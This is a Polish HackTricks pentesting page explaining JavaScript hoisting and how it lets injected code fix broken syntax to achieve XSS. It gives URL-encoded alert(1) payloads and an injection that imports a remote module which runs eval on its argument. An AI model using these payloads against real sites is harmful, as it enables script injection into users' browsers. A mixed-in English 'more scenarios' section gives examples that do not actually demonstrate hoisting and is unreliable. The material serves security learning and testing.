JS Hoisting

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

W języku JavaScript istnieje mechanizm znany jako Hoisting, w którym deklaracje zmiennych, funkcji, klas lub importów są koncepcyjnie przenoszone na górę swojego zakresu przed wykonaniem kodu. Proces ten jest automatycznie wykonywany przez silnik JavaScript, który przechodzi przez skrypt wielokrotnie.

Podczas pierwszego przejścia silnik analizuje kod w celu sprawdzenia błędów składniowych i przekształca go w drzewo składni abstrakcyjnej. Ta faza obejmuje hoisting, czyli proces, w którym pewne deklaracje są przenoszone na górę kontekstu wykonania. Jeśli faza analizy przebiegnie pomyślnie, co oznacza brak błędów składniowych, wykonanie skryptu jest kontynuowane.

Należy zrozumieć, że:

  1. Skrypt musi być wolny od błędów składniowych, aby doszło do wykonania. Należy ściśle przestrzegać zasad składni.

  2. Umieszczenie kodu w skrypcie wpływa na wykonanie ze względu na hoisting, chociaż wykonany kod może różnić się od jego reprezentacji tekstowej.

Rodzaje Hoistingu

Na podstawie informacji z MDN, w języku JavaScript istnieją cztery różne rodzaje hoistingu:

  1. Hoisting wartości: Umożliwia użycie wartości zmiennej w jej zakresie przed linią deklaracji.

  2. Hoisting deklaracji: Pozwala na odwołanie się do zmiennej w jej zakresie przed jej deklaracją, nie powodując błędu ReferenceError, ale wartość zmiennej będzie undefined.

  3. Ten rodzaj zmienia zachowanie w swoim zakresie ze względu na deklarację zmiennej przed jej rzeczywistą linią deklaracji.

  4. Skutki uboczne deklaracji występują przed resztą kodu zawierającego tę deklarację.

Szczegółowo, deklaracje funkcji wykazują zachowanie hoistingu typu 1. Słowo kluczowe var demonstruje zachowanie hoistingu typu 2. Deklaracje leksykalne, które obejmują let, const i class, wykazują zachowanie hoistingu typu 3. Na koniec, instrukcje import są unikalne, ponieważ są hoistowane zarówno z zachowaniem typu 1, jak i typu 4.

Scenariusze

Jeśli więc masz scenariusze, w których można wstrzyknąć kod JS po użyciu niezadeklarowanego obiektu, możesz naprawić składnię, deklarując go (w ten sposób twój kod zostanie wykonany zamiast zgłaszania błędu):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

Więcej scenariuszy

In addition to the scenarios mentioned earlier, there are a few more scenarios where JavaScript hoisting can be exploited for cross-site scripting (XSS) attacks. These scenarios include:

1. Function Declarations

When a function declaration is hoisted, it can be used to execute arbitrary JavaScript code. An attacker can inject malicious code into a function declaration and then call that function to trigger the XSS attack.

function myFunction() {
    // Attacker's code here
}

// Attacker triggers the XSS attack by calling the function
myFunction();

2. Variable Declarations

Similar to function declarations, variable declarations can also be hoisted and used to execute malicious code. An attacker can inject JavaScript code into a variable declaration and then use that variable to trigger the XSS attack.

var myVariable = 'Attacker\'s code here';

// Attacker triggers the XSS attack by using the variable
console.log(myVariable);

3. Event Handlers

JavaScript hoisting can also be exploited in event handlers. An attacker can inject malicious code into an event handler and then trigger that event to execute the XSS attack.

document.getElementById('myButton').onclick = function() {
    // Attacker's code here
};

// Attacker triggers the XSS attack by clicking the button
document.getElementById('myButton').click();

4. Inline Scripts

Inline scripts, such as those found in HTML attributes like onmouseover or onclick, can also be used to exploit JavaScript hoisting. An attacker can inject malicious code into an inline script and then trigger the event associated with that script to execute the XSS attack.

<button onclick="alert('Attacker\'s code here')">Click me</button>

By understanding these additional scenarios, you can better identify and mitigate the risks associated with JavaScript hoisting in web applications.

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated